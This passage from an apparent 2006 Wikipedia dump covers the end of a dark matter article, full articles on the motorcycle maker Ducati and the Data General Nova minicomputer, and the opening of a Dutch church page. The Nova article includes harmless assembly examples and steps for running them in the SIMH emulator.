At present, the most common view is that most dark matter is made of one or more elementary particles other than the usual [[electron]]s, [[proton]]s, [[neutron]]s, and ordinary [[neutrinos]].  Currently, the most commonly considered particles are [[axion]]s, [[sterile neutrinos]], [[Simp|SIMPs]] (Strongly Interacting Massive Particles), and [[WIMP]]s (Weakly Interacting Massive Particles) (which include [[neutralino]]s).  None of these are part of the [[standard model]] of [[particle physics]]. Instead, particles in this last category are frequently suggested by theorists proposing [[supersymmetry|supersymmetric]] extensions of the [[standard model]] of [[particle physics]].  In such theories, the WIMP involved is usually the [[neutralino]]. Another candidate is so-called sterile neutrinos. Sterile neutrinos can be added to the [[standard model]] to explain the small neutrino mass. These sterile neutrinos are expected to be heavier than the ordinary neutrinos, and are a candidate for dark matter.

In research due to be fully published in spring [[2006]], researchers from the [[University of Cambridge]] Institute of Astronomy claim to have calculated that dark matter only comes in clumps larger than about 1,000 light-years across, implying an average speed of dark matter particles of 9km/s, corresponding to a relatively warm 10,000 degrees [[Celsius]] [http://news.bbc.co.uk/2/hi/science/nature/4679220.stm].

== Alternative explanations ==

An alternative to dark matter is to suppose that the inconsistencies are due to an incomplete understanding of [[gravitation]]. One approach is to attempt to reconcile [[gravitation]] with [[quantum mechanics]] and to explain mass and its creation within gravitation, as in some [[Scalar-tensor theory|scalar-tensor theories]], which couple [[scalar]] fields like the [[Higgs]] field to the [[curvature]] given through the [[Riemann]] tensor or its traces. In many of such theories, the scalar field equals the [[inflaton]] field, which is needed to explain the [[inflation]] of the universe after the [[Big Bang]], as the dominating factor of the [[quintessence]] or Dark Energy.

To explain the observations, the gravitational force has to become stronger than the Newtonian approximation at great distances or in weak fields. For instance, this can be done by assuming a negative value of the [[cosmological constant]] (the value of which is believed to be positive based on recent observations) or by assuming [[The Modified Newtonian Dynamics|Modified Newtonian Dynamics]] (MOND), which corrects [[Newton's laws]] at small acceleration. However, constructing a [[relativistic]] MOND theory has been troublesome, and it is not clear how the theory can be reconciled with [[gravitational lensing]] measurements of the deflection of light around galaxies.  The leading relativistic MOND theory, proposed by [[Mordehai Milgrom|Milgrom]]'s colleague [[Jacob Bekenstein|Professor Bekenstein]] in 2004 is called &quot;TeVeS&quot; for Tensor-Vector-Scalar and solves many of the problems of earlier attempts.

Another approach, proposed by Finzi (1963) and again by Sanders (1984), is to replace the gravitational potential energy with the expression

:&lt;math&gt;U=\frac{GM(1-Be^{-r/\rho})}{(1-B)r}&lt;/math&gt;

where ''B'' and ''&amp;rho;'' are adjustable parameters.  
However, such approaches run into difficulties explaining the different behavior of different galaxies and clusters, whereas one can easily describe such differences by assuming different quantities of dark matter.

For a deeper discussion of this subject, see [[Modified Newtonian dynamics]].

Another proposed explanation is [[Nonsymmetric Gravitational Theory]].

Two other theories which propose modifications to general relativity have recently been proposed. M. Reuter and H. Weyer have proposed that Newton's constant grows at large scales due to quantum effects [http://arxiv.org/abs/hep-th/0410117]. 

Another proposal by Cooperstock and Tieu suggested that the galaxy rotation problem could be explained with the results of [[general relativity]], amplified by non-linear effects so that the behavior of the galaxy as a whole becomes non-Newtonian [http://arxiv.org/abs/astro-ph/0507619]. A problem in this model was found when it was shown that this model gives rise to a &quot;thin, singular disk&quot; of 2-dimensional matter in the galactic plane [http://arxiv.org/abs/astro-ph/0508377/]. In a [http://arxiv.org/abs/astro-ph/0510750 recent article] it is shown that Cooperstock's and Tieu's model implies that the thin disk must be made out of &quot;exotic matter, either [[cosmic strings]] or struts with negative energy density&quot;. Cooperstock and Tieu have since published an [http://arxiv.org/abs/astro-ph/0512048 article] in which they argued that the thin disk was an artefact of approximations made by their model. However, in a [http://arxiv.org/abs/astro-ph/0512553 comment on that article], D. Vogt and P. S. Letelier have disputed this. They show that the removal of the thin disk generates two other singular mass surface layers.

==Dark matter in popular culture==
{{main|Dark matter (fiction)}}
Mentions of dark matter occur in some video games and other works of fiction.  In such cases, it is usually attributed extraordinary physical or magical properties, such as dark matter and matter voiding each other on contact.  Such descriptions are often inconsistent with the properties of dark matter proposed in physics and cosmology.
&lt;!-- Please do not add examples of dark matter in popular culture to this section.  Add them to the main article on the subject, [[Dark matter (fiction)]] \\--&gt;

== See also ==
* [[Dark energy star]]

==References==

*Polar Magnetic Phenomena and Terrella Experiments, in ''The Norwegian Aurora Polaris Expedition 1902-1903'' (publ. 1913, p.720 on 'dark matter')
* [http://chandra.harvard.edu/photo/2003/abell2029/ Hot News for Cold Dark Matter]
* [http://www.bbc.co.uk/sn/tvradio/programmes/horizon/missing.shtml Most of Our Universe is Missing]

== External links ==

*[http://astron.berkeley.edu/~mwhite/darkmatter/hdm.html Hot dark matter]
*[http://lpsc.in2p3.fr/tep/fred/dm.html Dark matter Portal]
*[http://arxiv.org/abs/hep-ph/0404175 G. Bertone, D. Hooper, and J. Silk, &quot;Particle Dark Matter: Evidence, Candidates and Constraints&quot;]
*[http://www.livingreviews.org/lrr-2002-4 Timothy J. Sumner, &quot;Experimental Searches for Dark Matter&quot;]
*[http://news.bbc.co.uk/1/hi/sci/tech/4679220.stm &quot;Dark matter comes out of the cold&quot;]
*[http://www.economist.com/science/displaystory.cfm?story_id=3556105 The Economist: Young solar systems are like cosmic snooker games, and the universe is flat]
*[http://www.wired.com/news/space/0,2697,66487,00.html Scientists Find Missing Matter (Wired.com Feb 3rd 2005) ]
*[http://news.bbc.co.uk/1/hi/wales/south_east/4288633.stm  Astronomers find starless galaxy (BBC News [[23 February]] 2005)]
*[http://www.physorg.com/news6850.html Elliptical galaxies have dark matter halo as well]
*[http://www.isracast.com/tech_news/061005_tech.htm Dark matter History and More on Elliptical galaxies and the Mystery of dark matter] 
*[http://xxx.lanl.gov/find/grp_physics/1/abs:+AND+Dark+Matter/0/1/0/past,2005/0/1 Recent papers on dark matter on arXiv.org]
*Feuerbacher, Björn and Ryan Scranton (2006). &quot;[http://www.talkorigins.org/faqs/astronomy/bigbang.html Evidence for the Big Bang]&quot;, FAQ at [http://www.talkorigins.org/ talkorigins.org].

[[Category:Celestial mechanics]]
[[Category:Cosmology]]
[[Category:Dark matter|*]]
[[Category:Large-scale structure of the cosmos]]

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      <text xml:space="preserve">[[image:ducatilogol.gif|thumb||Ducati logo all black]]
'''Ducati Motor Holding''' ({{nyse|DMH}}) is an [[Italy|Italian]] [[motorcycle]] manufacturer located in [[Bologna]].

Ducati motorcycles have long been known for their excellence in design and performance. From the first post-war bicycle-like low-displacement motorbikes Ducati has grown over the years into a racing giant that is consistently competitive in both the racing arena and the world motorcycle marketplace.

In the 1960s, Ducati earned its place in motorcycling history by producing the fastest 250cc road bike available, the Mach 1. [[Image:Ducati mach1 800.jpg|right|thumb|150px|[[Ducati Mach 1]]]]
In the 1970s Ducati began producing large-displacement L-twin motorcycles and in 1973 released a L-twin with the trademark [[desmodromic valve]] design. In 1985, [[Cagiva]] bought Ducati. In 1996, Texas Pacific Group bought 51% of the company for $325 million and renamed the company Ducati Motor SpA. In December 2005 Ducati went back into Italian hands with the sale of Texas Pacific's stake to Investindustrial Holdings, the investment fund of Carlo and Andrea Bonomi.

Ducati is best known for high performance motorcycles characterized by trellis-style frames and large capacity four-stroke, [http://www.ducati.com/bikes/techcafe.jhtml?detail=article&amp;value=technical&amp;part=technical&amp;artID=1 90-degree L-twin] [[engine]]s featuring a [http://www.ducati.com/bikes/techcafe.jhtml?detail=article&amp;value=technical&amp;part=technical&amp;artID=2 desmodromic valve design]. Modern Ducatis remain among the dominant performance motorcycles available today partly because of the Desmo valve design, which is nearing its 50th year in production. (Desmodromic valves are those which are positively closed by a leverage system, rather than relying on the more conventional [[spring (device)|spring]]s to close the valves). 
While most other manufacturers have adopted wet-clutches (with the spinning parts bathed in oil) Ducati uses dry clutches in most of its motorcycles. This eliminates the [[parasitic loss|power loss from oil viscosity]] drag on the engine even though the engagement may not be as smooth as the oiled versions.  Although the exorbitant cost of servicing the Ducati's finicky engine can shock some owners, most will still agree that the improved ride quality, performance, and styling of Ducatis is worth the extra cost.   


== Product History ==

Ducati now manufactures several lines of motorcycles: naked sport bikes: [[Ducati Monster]], faired sport bikes: [[800 and DS1000 Supersports]], superbike [[Ducati 749|749]] and [[Ducati 999|999]], adventure-tourer [[Multistrada 600 and DS1000]], tourers [[ST3s]], and retro-replicas [[SportClassic]].

The chief designer of Ducati motorcycles since the 1970s was the late [[Fabio Taglioni]] ([[1920]]-[[2001]]). He introduced the [[Pantah]] in 1979; its engine was updated in the 1990s in the [[SuperSport]] (SS) series. 

In 1993, Miguel Angel Galuzzi introduced the [[Ducati Monster]][http://www.monsta.at/site_article_368.html] , a naked bike with exposed trellis and engine. Today the Monster accounts for almost half of the company's worldwide sales. The Monster, which has been out since 1994, has undergone the most changes of any motorcycle that Ducati has ever produced.  After more than a decade of manufacturing, Ducati continues to create innovative changes to this classic motorcycle. 

In [[1995]], the company introduced the [[Ducati 916]] model designed by [[Massimo Tamburini]], a water-cooled version that allowed for higher output levels and a striking new bodywork that featured aggressive lines, underseat exhausts, and a single-sided swingarm. Ducati has since ceased production of what many called the bike of the 1990s, supplanting it with the  [[Ducati 749|749]] and [[Ducati 999|999]]. 

In [[2005]], Ducati introduced its concept motard motorcycle, the [[HyperMotard]]. The company has not announced when this bike will enter production.

{|
|-
| [[Image:Ducati 916 monoposto 800.jpg|left|thumb|150px|Ducati 916 Monoposto (1995)]]
| [[Image:Ducati monster 800.jpg|left|thumb|150px|Ducati Monster 900 (1993)]]
| [[image:Ducati HyperMotard 800.jpg|right|thumb|150px|Ducati HyperMotard Concept]]
|}

== Racing History ==

The company has enjoyed eleven [[Superbike racing|World Superbike championship]]s since the series' inception in 1988. The company also races its motorcycles in [[MotoGP]] where it returns from a hiatus of over 30 years.
[[Image:Ducati Desmosedici 800.jpg |right|thumb|150px|[[Ducati Desmosedici GP6 race bike]]]]
*World Superbike Championships 
** 1990 Raymond Roche (France) Ducati 851
** 1991 Doug Polen (USA) Ducati 888
** 1992 Doug Polen (USA) Ducati 888
** 1994 [[Carl Fogarty]] (UK) Ducati 916
** 1995 [[Carl Fogarty]] (UK) Ducati 916
** 1996 [[Troy Corser]] (AUS) Ducati 916
** 1998 [[Carl Fogarty]] (UK) Ducati 996
** 1999 [[Carl Fogarty]] (UK) Ducati 996
** 2001 [[Troy Bayliss]] (AUS) Ducati 996
** 2003 [[Neil Hodgson]] (UK) Ducati 999
** 2004 [[James Toseland]] (UK) Ducati 999



== Motorcycle Design History ==
Ducati (in its various incarnations) has produced several styles of motorcycle engines, including varying the number of cylinders, type of valve actuation and fuel delivery.  Ducati is best known for its &quot;L-Twin&quot; motor which is the powerplant in the majority of Ducati-marqued motorcycles.  

On current motors, the valves are actuated by a standard valve cam shaft which is rotated by a belt driven by the motor directly.  Timing is maintained by teeth on the belt which keep the cam shaft drive pulleys indexed.  On older Ducati motors (prior to 1981) a solid shaft with a bevel-shaped gear on the end, mating with the valve cam shaft at 90-degrees was used.  This style of valve actuation was used on all of Ducati's older engines, starting with the oldest single cylinder motorcycles.

Ducati is also famous for using [[desmodromic]] valve operation championed by engineer/designer [[Fabio Taglioni]], but on older bikes, there were many standard-type spring-closed valve engines.  Ducati saved the [[desmodromic]] valve heads for its higher performance bikes as well as its race bikes.  Engineer [[Fabio Taglioni]] knew that desmodromic valves do not suffer from [[valve float]] at high engine speeds, thus a desmodromic engine is capable of far higher RPMs than a similarly configured engine with traditional spring-valve heads.  ''Read the entry on [[desmodromic]] valves to explain positive opening/closing of valves versus traditional spring valves.''


A quick summary of the engines with the Ducati name:

** Single cylinder, bevel actuated, spring valved:  160cc, 250cc, 350cc
** Single cylinder, bevel actuated, desmo valved:  350cc and 450cc

** Two cylinder, bevel actuated, spring valved (L-Twin):  750cc, 860cc
** Two cylinder, bevel actuated, desmo valved (L-Twin):  750cc, 860cc
** Two cylinder, chain actuated, spring valved (parallel twin):  350cc, 500cc (GTL)
** Two cylinder, chain actuated, desmo valved (parallel twin):  350cc, 500cc (GTV)
** Two cylinder, belt actuated, desmo valved (L-Twin):  Almost all motors since 1984.

** Four cylinder, belt actuated, desmo valved (L-quattro):  Only the Desmosedici GP6 race bike currently
** Four cylinder, bevel actuated, desmo valved (L-4):  The Apollo concept motorcycle, 1200 cc.

== Company History (apart from Motorcycles) ==

[[Ducati Meccanica]] (as the company was previously known) has its marque on non-motorcycle products as well.  In the 1940s, Ducati manufactured radios, cameras, and bicycle products.  The [[Ducati Sogno]] [[http://www.cameraquest.com/jpg3/ducati4.jpg]] was a [[half-frame]] [[Leica]] work-alike camera which is now a very rare collectors' item.

== See also == 
[[List of Italian companies]]

[[:Category:Ducati motorcycles|List of Ducati motorcycle models]]

== External links ==
*[http://www.ducati.com The Ducati website (official)] The manufacturer's website.  Current model info, including online information, history, manuals and race team info (Italian/English
*[http://www.ducatiusa.com The Ducati North America website (official)] Ducati NA information for USA and Canada.
*[http://www.ducati.com/od/ducatijapan/jp/index.jhtml Ducati of Japan website (official)] Ducati NA information for Japan (Japanese).
*[http://www.ducatisti.co.uk The UK Ducati Forum]  Getting UK Ducati fans together! Forum, Gallery, Ride-outs and more.
*[http://www.duc.nu/ Duc.nu ] Ducati pictures, manuals, movies, racing and more (Dutch/English).
*[http://k.webring.com/hub?ring=ducati Ducati Webring] Created in 1996 this webring is a collective of currently 132 active Ducati related websites.
*[http://www.desmotimes.com Desmo Times] This site includes DIY information and resources for Ducati Enthusiasts to be able to maintain their own Ducatis.
*[http://www.docgb.org The Ducati Owners Club GB] The largest and oldest Ducati club worldwide, based in the UK.
*[http://www.ducatisportingclub.com The Ducati Sporting Club] Home of the UK's newest club for Ducati owners and enthusiasts.
*[http://www.ukmonster.co.uk The Monster Owners Club] UK-based club for Ducati Monster Owners
*[http://www.bevelheaven.com/~BB/phpBB2/index.php BevelHeaven - Classic Bevel Drive Ducati Forum] Ducati Singles and Twins through until 1985.
*[http://www.ducatimeccanica.com Ducati Meccanica Website]  Information, photos, and resources for all classic Ducati Bevel drive motorcycles (1954 to 1985).
*[http://www.ducatimonster.org/ Ducati Monster List] USA-based Monster Owners resource and community forum site
* [http://www.wheelsofitaly.com Wheels Of Italy] Ducatis and other Italian Motorcycles
* [http://www.ducatiowners.com Ducati Owners] site and home to the largest MH900e registry
* [http://www.ducati.ms The Ducati Portal] Ducati owners discussion site, all Ducati bikes.

[[Category:Ducati]]
[[Category:Motorcycle manufacturers]]

[[de:Ducati]]
[[es:Ducati]]
[[fr:Ducati]]
[[it:Ducati]]
[[nl:Ducati]]
[[ja:ドゥカティ]]
[[fi:Ducati]]
[[sv:Ducati]]</text>
    </revision>
  </page>
  <page>
    <title>Data General Nova</title>
    <id>8654</id>
    <revision>
      <id>42121468</id>
      <timestamp>2006-03-03T23:34:00Z</timestamp>
      <contributor>
        <username>JohnJHenderson</username>
        <id>635625</id>
      </contributor>
      <comment>/* History */ Added sentence about founder, Herb Richman</comment>
      <text xml:space="preserve">[[Image:Data General Super Nova.jpg|thumb|288px|right|Data General SuperNova]]
The '''Data General Nova''' was a popular [[16-bit]] [[minicomputer]] built by the United States company [[Data General]] starting in 1969. The Nova packed enough power to do most simple computing tasks and was packaged into a single [[rack mount]] case.  The Nova became hugely popular in science labs around the world, and eventually 50,000 would be sold. The Nova was followed by the [[Data General Eclipse|Eclipse]], which was similar in most ways but added [[virtual memory]] support and other features required by modern [[operating system]]s.

==History==

====deCastro and the Nova's origin====

[[Edson deCastro]] was the Product Manager at [[Digital Equipment Corporation|Digital Equipment (DEC)]] of their pioneering [[PDP-8]], a 12-bit computer generally considered by most to be the first true minicomputer. DeCastro was convinced, however, that it was possible to improve upon the PDP-8 by building a 16-bit minicomputer on a single board.  [[Ken Olsen]] was not supportive of this project, so deCastro left DEC along with another hardware engineer, Richard Sogge, and a software engineer, [[Henry Burkhardt III]], to found Data General (DG) in [[1968]].  The fourth founder, [[Herbert Richman]], had been a salesman for [[Fairchild Semiconductor]] and knew the others through his contacts with Digital Equipment.

The next year DG released the 16-bit '''Nova''' at a base price of US$3,995, advertising it as «the best small computer in the world». The basic model was not very useful &quot;out of the box&quot;, and adding RAM in the form of [[core memory]] typically brought the price up to $7,995.

The Nova's biggest competition was from the newly-born DEC [[PDP-11]] computer series, and to a lesser extent the venerable DEC [[PDP-8]] systems. It has been said that the Nova was pretty crude compared to its competitors; but it was quite effective and very fast for its day, at least at its low-cost end of the market.

Besides offering 16 bits compared to the 12 bits of the [[PDP-8]], another big innovation of the Nova was in packaging. The original Nova CPU was built on only two large 15×15 inch (38×38 cm) [[printed circuit board]]s, which could be run off on an assembly line with no manual wiring required. This greatly reduced costs over the rival PDP-8 and PDP-8/I, which consisted of many smaller boards that had to be wired together. The larger-board construction also made the Nova more reliable, which made it especially attractive for industrial or lab settings.

A further improvement on the Nova design followed the next year, the '''SuperNOVA'''. The SuperNOVA included a number of improvements that dramatically improved performance over the original. This included the use of [[Read-only memory|ROM]] for library software that could be run much faster than the same code in the normal [[core memory]], due to the latter's need to be written immediately after being read. Additionally the system included a new set of core with an 800 ns cycle time, faster than the original's 1200 ns version. Finally the SuperNOVA also replaced the earlier model's 4-bits-at-a-time math unit with a new 16-bit parallel version, speeding math by up to four times.

Soon after the introduction of the SuperNOVA, another version featuring semiconductor memory in place of core was introduced, the '''SuperNOVA SC'''. The much higher performance memory allowed the CPU, which was synchronous with memory, to be further increased in speed to run at a 300 [[nanosecond]] cycle time (3.3 MHz), which made it the fastest minicomputer for over a decade following its introduction.

====Later versions====

Further improvements in the line followed in 1970/1 with a pair of machines that replaced the Nova/SuperNOVA, the '''Nova 1200'''  and '''Nova 800''' series. The 1200 used the original's slower 1200ns core while the 800 featured the SuperNOVA's 800ns core, explaining the somewhat confusing naming where the lower number represents the faster machine. Like the earlier models, the 1200 used a 4-bit math unit while the 800 used the SuperNOVA's 16-bit unit. Both models were offered in a variety of cases, the 1200 with seven slots, the 1210 with four and the 1220 with fourteen. The 840, first offered in 1973, also included a new paged memory system allowing for up to 17-bit addresses. An index offset the base address into the larger 128 kWord memory. Actually installing this much memory required considerable space, the 840 shipped in a large 14-slot case.

The next version was the '''Nova 2'', with the first versions shipping in 1973. The Nova 2 was essentially a simplified version of the earlier machines as increasing chip densities allowed the CPU to be reduced in size. While the SuperNOVA used three 15&quot;x15&quot; boards to implement the CPU and it's memory, the Nova 2 fit all of this onto a single board. ROM was used to store the boot code, which was then copied into core when the &quot;program load&quot; switch was flipped. Versions were available with four, seven and ten slots.

[[Image:Dg-nova3.jpg|thumb|288px|right|Data General Nova 3]]
The '''Nova 3''' of 1975 added two more registers, used to control access to a built-in stack. The processor was also re-implemented using four 4-bit LSI chips in place of the earlier TTL components, further lowering the cost of the system. The Nova 3 was offered in three and twelve slot versions.

It appears that Data General originally intended the Nova 3 to be the last of it's line, planning to replace the Nova with the later Eclipse machines. However continued demand led to a '''Nova 4''' machine, this time based on four [[AMD 2901]] bit-slice processors. This design was also used in the Eclipse, and it appears that the Nova 4 is essentially a re-packaged Eclipse with different ROMs. A floating-point co-processor was also available, taking up a separate slot. An additional option allowed for memory mapping, allowing programs to access up to 128 kwords of memory using [[bank switching]]. Unlike the earlier machines, the Nova 4 did not include a front panel console (switches and lights) and instead relied on the [[terminal]] to emulate a console when needed.

====microNOVA====

Data General also produced a series of single-chip implementations of the Nova processor as the '''microNOVA'''. Changes to the bus architecture limited speed dramatically, to the point where it was about one-half the speed of the original Nova. The original microNOVA with the &quot;mN601&quot; processor shipped in 1977. It was followed by the '''microNOVA MP/100''' in 1979, which reduced the CPU to a single [[VLSI]] chip, the mN602. A larger version was also offered as the '''microNOVA MP/200''', shipping the same year.

The microNOVA was later re-packaged in a PC-style case with two [[floppy disk]]s as the '''Enterprise'''. Enterprise shipped in 1981, running [[RDOS]], but the introduction of the [[IBM PC]] the same year made most other machines disappear under the radar.

====Nova's legacy====

The Nova influenced the design of both the [[Xerox Alto]] ([[1973]]) and [[Apple I]] ([[1976]]) computers. Its external design has been reported to be the direct inspiration for the front panel of the [[Altair 8800|MITS Altair]] ([[1975]]) microcomputer.

Data General followed up on the success of the original Nova with a series of faster designs. The Eclipse family of systems was later introduced with an extended upwardly compatible instruction set, and the MV-series further extended the Eclipse into a 32-bit architecture to compete with the DEC [[VAX]].  The development of the MV-series was documented in Tracy Kidder's popular 1981 book, ''[[The Soul of a New Machine]]''. Data General itself would later evolve into a vendor of Intel processor-based servers and storage arrays, eventually being purchased by [[EMC]].

[[As of 2004]] there are still 16-bit Novas and [[Data General Eclipse|Eclipse]]s running in a variety of applications worldwide.  There is a diverse but ardent group of people worldwide who restore and preserve legacy 16-bit Data General systems.

==Technical description==

====Processor design====
[[Image:Dg-pcb.jpg|thumb|288px|right|Nova 3 PCB]]
The Nova had four 16-bit [[accumulator]] registers, of which two could be used as [[index register]]s.  There was a 15-bit [[program counter]] and a single-bit [[carry (computer science)|carry]] register. As for the PDP-8, current + [[zero page]] addressing was central.

The earliest models of the Nova processed math serially in 4-bit packages. A year after its introduction the processor was upgraded to use a full 16-bit parallel math unit, this design being referred to as the SuperNova. Future versions of the system added a stack unit and hardware multiply/divide.

The Nova 4 was based on the Eclipse design, and similar largely in name only.

====Memory and I/O====
The first models were available with 4[[K]] [[word (computer science)|word]]s of [[magnetic core memory]] as an option, one that practically everyone had to buy, bringing the system cost up to $7,995. Even here DG managed to innovate, packing several planes of very small core and the corresponding support electronics onto a single standard 15 x 15 inch board. Up to 32K of such core [[random-access memory|RAM]] could be supported in one external expansion box. [[Semiconductor]] [[read-only memory|ROM]] was already available at the time, and RAM-less systems (i.e. with ROM only) became popular in many industrial settings.  The original Nova machines ran at approximately 0.2 [[megahertz|MHz]], but its SuperNova was designed to run at up to 3 MHz when used with special semiconductor main memory.

The standardized [[backplane]] and [[input/output|I/O]] signals created a simple, efficient I/O design that made interfacing programmed I/O and Data Channel devices to the Nova simple compared to competitive machines.  In addition to its dedicated I/O bus structure, the Nova backplane had [[wirewrap]] pins that could be used for non-standard connectors or other special purposes.

====Programming model====
The [[instruction set|instruction format]] could be broadly categorized into one of three functions: &lt;nowiki&gt;1) register-to-register manipulation, 2) memory reference, and 3)&lt;/nowiki&gt; input/output. Each instruction was contained one word.  The register-to-register manipulation was almost [[RISC]]-like in its bit-efficiency; and an instruction that manipulated register data could also perform tests, shifts and even elect to discard the result. Hardware options included a multiply and divide integer unit, a [[floating-point unit]] (single and double precision), and [[memory management]].

[[Image:Dg-papertapes.jpg|thumb|288px|right|Data General software on punched paper tape]]
Data General developed a wide range languages for the Nova computers running under a range of consistent operating systems.  [[FORTRAN IV]], [[ALGOL]], Extended [[BASIC programming language|BASIC]], [[Data General Business Basic]], Interactive [[COBOL]], and several assemblers were available from Data General. Third party vendors and the user community expanded the offerings with [[Forth programming language|Forth]], [[Lisp programming language|Lisp]], [[BCPL]], [[C programming language|C]], [[ALGOL|Algol]], and other proprietary versions [[COBOL]] and [[BASIC programming language|BASIC]].

== Assembly language examples ==

=== Hello world program ===
This is a minimal programming example in Nova assembly language. It is designed to run under [[RDOS]] and prints the string &quot;[[Hello world program|Hello, world.]]&quot; on the console.

 	; a &quot;hello, world&quot; program for Nova running RDOS, by Toby Thain
 	; uses PCHAR system call
 	.titl hello
 	.nrel
 	.ent start
 
 start:	
 dochar:
 	lda 0,@pmsg	; load ac0 with next character,
 	mov# 0,0,snr	; test ac0; skip if nonzero (don't load result)
 	jmp done
 	.systm
 	.pchar		; print first
 	jmp er	; skipped if OK
 	movs 0,0	; swap bytes
 	.systm
 	.pchar		; print second
 	jmp er	; skipped if OK
 	isz pmsg	; point to next character
 	jmp dochar	; go around again
 
 done:	.systm		; normal exit
 	.rtn
 er:	.systm		; error exit
 	.ertn
 	halt
 
 pmsg:	.+1 ; pointer to first character of string
 	; note bytes are packed right-to-left by default
 	.txt /Hello, world.&lt;15&gt;&lt;12&gt;/ ; that's CR LF
 	0 ; flag word to end string
 
 	.end start

=== 16-bit multiplication ===
Basic models of the Nova came without built-in hardware multiply and divide capability, to keep prices competitive. The following routine multiplies two 16-bit words to produce a 16-bit word result (overflow is ignored). It demonstrates combined use of ALU op, shift, and test (skip). Note that when this routine is called by &lt;tt&gt;jsr&lt;/tt&gt;, AC3 holds the return address. This is used by the return instruction &lt;tt&gt;jmp 0,3&lt;/tt&gt;. An idiomatic way to clear an accumulator is &lt;tt&gt;sub 0,0&lt;/tt&gt;. Other single instructions can be arranged to load a specific set of useful constants (e.g. -2, -1, or +1).

 mpy:	; multiply AC0 &lt;- AC1 * AC2, by Toby Thain
 
 	sub 0,0		; clear result
 mbit:	movzr 1,1,szc	; shift multiplier, test lsb
 	add 2,0		; 1: add multiplicand
 	movzl 2,2,szr	; shift and test for zero
 	jmp mbit	; not zero, do another bit
 	jmp 0,3		; return

=== Binary print accumulator ===
The following routine prints the value of AC1 as a 16 digit [[binary number]], on the RDOS console. It reveals further quirks of the Nova instruction set. For instance, there is no instruction to load an arbitrary &quot;immediate&quot; value into an accumulator (although memory reference instructions do encode such a value to form an effective address). Accumulators must generally be loaded from initialised memory locations (e.g. &lt;tt&gt;n16&lt;/tt&gt;). Other contemporary machines such as the [[PDP-11]], and practically all modern architectures, allow for immediate loads, although many such as [[ARM architecture|ARM]] restrict the range of values that can be loaded immediately.

Because AC3 is not preserved by the RDOS &lt;tt&gt;.systm&lt;/tt&gt; call, a temporary location is needed to preserve the return address. (For a recursive or otherwise re-entrant routine, the stack must be used instead.) The return instruction becomes &lt;tt&gt;jmp @ retrn&lt;/tt&gt; which exploits the Nova's indirect addressing mode to load the return PC. 

The constant definitions at the end show two assembler features: the assembler radix is [[octal]] by default (&lt;tt&gt;20&lt;/tt&gt; = sixteen), and character constants could be encoded as e.g. &lt;tt&gt;&quot;0&lt;/tt&gt;.

 pbin:	; print AC1 on console as 16 binary digits, by Toby Thain
 
 	sta 3,retrn	; save return addr
 	lda 2,n16	; set up bit counter
 loop:	lda 0,chr0	; load ASCII '0'
 	movzl 1,1,szc	; get next bit in carry
 	inc 0,0		; bump to '1'
 	.systm
 	.pchar 		; AC0-2 preserved
 	jmp err ; if error
 	inc 2,2,szr	; bump counter
 	jmp loop	; loop again if not zero
 	lda 0,spc	; output a space
 	.systm
 	.pchar
 	jmp err ; if error
 	jmp @ retrn
 
 spc:	&quot; ;that's a space
 chr0:	&quot;0
 n16: 	-20
 retrn:	0

== Emulating a Data General Nova ==

Nova assembly language programs can be run under Bob Supnik's [[SIMH]] emulator, in RDOS. Of the above examples, only ''Hello, world'' is a complete program. It includes the necessary directives for a successful assembly and generation of a runnable program. 

'''''Stepwise instructions'''''

Start the Nova emulation and boot RDOS following the instructions under &quot;Nova and Eclipse RDOS&quot; in the file &lt;tt&gt;src/simh_swre.txt&lt;/tt&gt; of the simh distribution. After booting, RDOS' command prompt, &lt;tt&gt;R&lt;/tt&gt;, should appear on the screen. 

* Before the first assembly on a newly setup RDOS system, the macro assembler's default symbol definitions need to be configured using the following command: &lt;tt&gt;&lt;u&gt;mac/s nbid osid nsid paru&lt;/tt&gt;&lt;/u&gt;
*Create the assembly source file under RDOS: &lt;u&gt;&lt;tt&gt;xfer/a $tti test.sr&lt;/tt&gt;&lt;/u&gt; (the &lt;tt&gt;xfer&lt;/tt&gt; command will accept input at the console and copy it to a disk file named &lt;tt&gt;test.sr&lt;/tt&gt;; after entering the command, copy and paste (or type in) a complete assembly language program, and finish with Control-Z).
*Next, run the macro assembler on &lt;tt&gt;test.sr&lt;/tt&gt; to create the object file &lt;tt&gt;test.rb&lt;/tt&gt;: &lt;u&gt;&lt;tt&gt;mac/l test&lt;/tt&gt;&lt;/u&gt; (the &lt;tt&gt;/l&lt;/tt&gt; [slash-ell] option enables the listing file &lt;tt&gt;test.ls&lt;/tt&gt;, which can be copied to the console using the command &lt;u&gt;&lt;tt&gt;type test.ls&lt;/tt&gt;&lt;/u&gt;).
*The relocatable loader, &lt;tt&gt;rldr&lt;/tt&gt;, takes the object file and creates the executable &lt;tt&gt;test.sv&lt;/tt&gt; : &lt;u&gt;&lt;tt&gt;rldr test&lt;/tt&gt;&lt;/u&gt;
*To run the program, type &lt;u&gt;&lt;tt&gt;test&lt;/tt&gt;&lt;/u&gt;

Before going further with serious experimentation, it can be convenient to check one's programs at the PC using a suitable cross-assembler, such as the portable PDP-8/DG Nova cross-assembler listed in the External links section, before attempting execution in the RDOS environment.

'''''RDOS hints'''''

* To have a directory listing of all files with basename &lt;tt&gt;test&lt;/tt&gt;, type &lt;u&gt;&lt;tt&gt;list test.-&lt;/tt&gt;&lt;/u&gt; (note the hyphen, RDOS' [[wildcard]] character)
* Delete files with &lt;u&gt;&lt;tt&gt;delete&lt;/tt&gt;&lt;/u&gt; (this might be needed because &lt;tt&gt;xfer&lt;/tt&gt; won't replace an existing file)
* A running program can usually be interrupted with Control-A
* To exit RDOS, type &lt;u&gt;&lt;tt&gt;release %mdir%&lt;/tt&gt;&lt;/u&gt;
* Quit simh at its prompt with &lt;u&gt;&lt;tt&gt;q&lt;/tt&gt;&lt;/u&gt;

==External links==
*[http://simh.trailing-edge.com Bob Supnik's SimH project] &amp;ndash; Includes a basic Nova emulator in a user-modifiable package
*[http://www.NovasAreForever.com SimuLogic's website] &amp;ndash; Attempts to archive everything DG plus provide free and commercial products
*[http://www.telegraphics.com.au/sw/info/dpa.html A portable PDP-8 and DG Nova cross-assembler]

[[Category:Minicomputers]]</text>
    </revision>
  </page>
  <page>
    <title>Protestant Church in the Netherlands</title>
    <id>8659</id>
    <revision>
      <id>41891465</id>
      <timestamp>2006-03-02T11:59:19Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>Disambig: [[congregation (worship)|congregations]]</comment>
      <text xml:space="preserve">[[Image:logo Protestantse Kerk.jpg|250px|right|thumb]]

